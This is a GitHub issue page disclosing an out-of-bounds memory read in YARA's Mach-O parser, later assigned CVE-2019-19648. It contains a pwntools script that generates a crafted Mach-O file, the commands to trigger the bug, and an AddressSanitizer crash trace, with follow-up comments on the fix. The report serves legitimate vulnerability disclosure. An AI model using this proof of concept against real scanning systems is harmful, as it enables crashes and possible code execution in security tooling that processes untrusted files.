Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Out-of-Bounds Memory Access in macho module #1178

Open
mmmdzz opened this issue Dec 8, 2019 · 5 comments
Open

Out-of-Bounds Memory Access in macho module #1178

mmmdzz opened this issue Dec 8, 2019 · 5 comments

Comments

@mmmdzz
Copy link

mmmdzz commented Dec 8, 2019

In libyara/modules/macho/macho.c, yara doesn't check whether the variable command_size is consistent with the command's real size. A crafted MachO file will lead an out-of-bounds memory access later.

Following is the bug code.

  uint8_t *command = (uint8_t*)(header + 1);                                   \
  for (unsigned i = 0; i < yr_##bo##32toh(header->ncmds); i++)                 \
  {                                                                            \
    yr_load_command_t* command_struct = (yr_load_command_t*)command;           \
    uint64_t command_size = yr_##bo##32toh(command_struct->cmdsize);           \
                                                                               \
    if (size < parsed_size + command_size)                                     \
      break;                                                                   \
                                                                               \
    switch(yr_##bo##32toh(command_struct->cmd))                                \
    {                                                                          \
      case LC_SEGMENT:                                                         \
      case LC_SEGMENT_64:                                                      \
      {                                                                        \
        macho_handle_segment_##bits##_##bo(command, seg_count++, object);      \
        break;                                                                 \
      }                                                                        \
      case LC_UNIXTHREAD:                                                      \
      {                                                                        \
        macho_handle_unixthread_##bo(command, object, context);                \
        break;                                                                 \
      }                                                                        \
      case LC_MAIN:                                                            \
      {                                                                        \
        macho_handle_main_##bo(command, object, context);                      \
        break;                                                                 \
      }                                                                        \
    }  

Take an example. If the size is 0x4000, ncmds == 2, and there is only one command whose size is 0x4000-28. The memory layout of the crafted macho would look like:

[HEADER 28 bytes][FIRST COMMAND 0x4000-28 bytes]

Thus, when yara tries to handle the second command here, yara will access the address after data, causing an out-of-bounds memory access. This will cause crash or potentials code executions.

The poc is attach:

$ cat poc.r
import "macho"

$ pip install pwntools

$ cat get_macho.py
from pwn import *

my_p8 = p8
my_p16 = p16
my_p32 = p32

def get_header():
    header = my_p32(0xfeedface)
    header += my_p32(0) * 3
    header += my_p32(2)
    header += my_p32(0) * 2

    return header

def get_cmd1():
    cmd_size = 0x4000 - 28
    cmd = my_p32(0xdeadbeef)
    cmd += my_p32(cmd_size)
    cmd = cmd.ljust(cmd_size, '\x00')
    return cmd

if __name__ == "__main__":
    macho = get_header()
    macho += get_cmd1()


    f = file("my_macho", "wb")
    f.write(macho)
    f.close()

$ python get_macho.py

$ ./yara poc.r my_macho
=================================================================
==31861==ERROR: AddressSanitizer: unknown-crash on address 0x7f15a4ff6004 at pc 0x7f15a3b6c7b3 bp 0x7ffd89ba7310 sp 0x7ffd89ba7300
READ of size 4 at 0x7f15a4ff6004 thread T0
    #0 0x7f15a3b6c7b2 in macho_parse_file_32_le.part.0 (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x5a7b2)
    #1 0x7f15a3b7621d in macho__load (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x6421d)
    #2 0x7f15a3bc847e in yr_modules_load (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xb647e)
    #3 0x7f15a3ba1ece in yr_execute_code (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x8fece)
    #4 0x7f15a3bf50ff in yr_scanner_scan_mem_blocks (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe30ff)
    #5 0x7f15a3bf5e7c in yr_scanner_scan_mem (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe3e7c)
    #6 0x7f15a3bf6027 in yr_scanner_scan_file (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe4027)
    #7 0x5629e567293e in main (/homes/u28/xxx/Github/yara/.libs/yara+0x793e)
    #8 0x7f15a3523b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #9 0x5629e5673319 in _start (/homes/u28/xxx/Github/yara/.libs/yara+0x8319)

Address 0x7f15a4ff6004 is a wild pointer.
SUMMARY: AddressSanitizer: unknown-crash (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x5a7b2) in macho_parse_file_32_le.part.0
Shadow bytes around the buggy address:
  0x0fe3349f6bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe3349f6c00:[fe]fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c10: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c20: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c30: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c40: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c50: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==31861==ABORTING

Crafted MachO my_macho is also attached.

@xambroz
Copy link

xambroz commented Dec 18, 2019

This issue was assigned vulnerability number - CVE-2019-19648 .

@lamby
Copy link

lamby commented Feb 20, 2020

Just wondering if this has fallen through the gaps here? :)

@meme
Copy link
Contributor

meme commented Jan 20, 2021

Can't be reproduced on v4.0.2, seems this can be closed.

@Derekt2
Copy link

Derekt2 commented Dec 22, 2021

looks like addressed in #1498

@mmmdzz
Copy link
Author

mmmdzz commented Dec 22, 2021 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants